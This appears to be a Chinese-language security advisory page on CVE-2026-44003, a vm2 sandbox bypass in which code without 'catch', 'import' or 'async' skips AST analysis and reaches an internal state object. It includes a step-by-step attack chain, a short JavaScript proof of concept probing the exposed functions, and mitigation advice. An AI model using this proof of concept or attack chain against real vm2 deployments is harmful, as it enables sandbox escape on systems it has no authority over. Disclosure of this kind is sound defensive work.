CVE-2026-44003 CVSS 5.3 中危

CVE-2026-44003: vm2沙箱安全绕过漏洞

披露日期: 2026-05-13

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-44003

漏洞类型

沙箱逃逸

CVSS评分

5.3 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

vm2

漏洞概述

vm2 是 Node.js 的一个沙箱库。在 3.11.0 版本之前，其代码转换器存在性能优化逻辑，当代码不包含 catch、import 或 async 关键字时，会跳过 AST 分析。这导致沙箱内代码可直接访问内部变量 VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL，进而暴露内部安全函数，破坏沙箱隔离性。

技术细节

该漏洞源于 vm2 代码转换器中旨在提升性能的“快速路径”优化机制。当检测到代码不含 `catch`、`import` 或 `async` 关键字时，vm2 会跳过耗时的语法树（AST）分析步骤。攻击者利用这一逻辑缺陷，精心构造不含上述关键字的恶意代码，从而成功绕过安全检查。通过这种方式，沙箱内的代码可以直接引用并操作名为 `VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL` 的内部对象。该对象暴露了 `handleException`、`wrapWith`、`import` 等原本受保护的安全函数。攻击者利用这些泄露的内部接口，可以打破沙箱隔离，进而可能导致执行任意代码或敏感信息泄露。

攻击链分析

STEP 1

侦察与识别

攻击者识别目标应用程序使用了存在漏洞的 vm2 库（版本低于 3.11.0）。

STEP 2

构造恶意载荷

攻击者精心构造一段不包含 'catch'、'import' 或 'async' 关键字的 JavaScript 代码，目的是触发 vm2 的快速路径优化，从而跳过 AST 分析。

STEP 3

执行与绕过

将恶意代码输入到 vm2 沙箱中执行。由于没有触发关键字，沙箱未进行严格的安全检查，代码直接运行。

STEP 4

访问内部状态

沙箱内的代码成功引用内部变量 `VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL`，获取到 `handleException` 等内部安全函数的引用。

STEP 5

利用与逃逸

攻击者利用获取到的内部函数打破沙箱隔离机制，执行宿主环境中的操作，实现沙箱逃逸。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

// PoC for CVE-2026-44003: vm2 Sandbox Escape via Fast-Path Bypass
const {VM} = require('vm2');
const vm = new VM();

// Exploit code avoids 'catch', 'import', 'async' to bypass AST analysis
const maliciousCode = `
    // Direct access to the internal state object
    const internalState = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL;

    // Verify access to internal security functions
    const hasHandleException = typeof internalState.handleException === 'function';
    const hasWrapWith = typeof internalState.wrapWith === 'function';
    const hasImport = typeof internalState.import === 'function';

    JSON.stringify({
        escaped: true,
        internal_functions: {
            handleException: hasHandleException,
            wrapWith: hasWrapWith,
            import: hasImport
        }
    });
`;

console.log(vm.run(maliciousCode));

影响范围

vm2 < 3.11.0

防御指南

临时缓解措施

如果无法立即升级，应严格限制沙箱内代码的输入来源，并尝试通过 WAF 或规则引擎拦截包含 'VM2_INTERNAL_STATE' 字符串的请求，但这仅为临时措施，根本解决仍需升级。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表